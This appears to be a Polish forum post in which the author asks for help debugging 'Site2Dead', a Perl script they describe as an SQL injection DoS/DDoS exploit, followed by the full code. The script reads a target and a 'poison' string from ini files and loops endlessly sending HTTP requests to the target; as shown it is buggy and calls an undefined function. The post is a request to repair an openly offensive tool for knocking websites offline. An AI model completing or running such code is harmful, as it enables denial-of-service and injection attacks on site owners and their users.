Witam. Pisze exploit SQL Injection Dos/DDoS "Site2Dead" i mam problem z kodem. Mógł by mi ktoś pomóc?
Kod:
#!usr/bin/perl
#Site2Dead developed by VR8 @ NetSec

use LWP::UserAgent;
 
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $tfile = "foobar";
open (tfile, 'target.ini');
while (<tfile>) {
chomp;
my $target = <tfile>
}

my $pfile = "foobar";
open (pfile, 'poison.ini');
while (<pfile>) {
chomp;
my $poison = <pfile>
}

head();
if ($ARGV[0] = "-t") {
sett();
} else {

if ($ARGV[0] = "-p") {
setp();
} else {

if ($ARGV[0] = "-a") {
satt();
} else {

usage();
}}}
copyright();

sub sett {
open (settfile, '>>target.ini');
print settfile $ARGV[1]
}

sub setp {
open (setpfile, '>>poison.ini');
print setpfile $ARGV[1]
}

sub satt {
print "\n Target : ".$target."\n";
print " Attack starts\n";
while(true) {
$code = toma($target." ".$poison) or error();
unless($code->is_success) {
print " Success\n";
copyright();
}}}

sub usage {
print "\n Usage :\n -t target = Set target\n -p poison = Set poison\n -a variable = Start attack\n";
}

 sub head {
print "\n---------------------------------------\n";
}
 
sub copyright {
print "\n---------------------------------------\n";
exit(1);
}

sub error {
print "\n Fail\n";
copyright();
}

sub sintax {
print "\n Syntax: $0 \n";
}
ZABRANIAM KOPIOWAĆ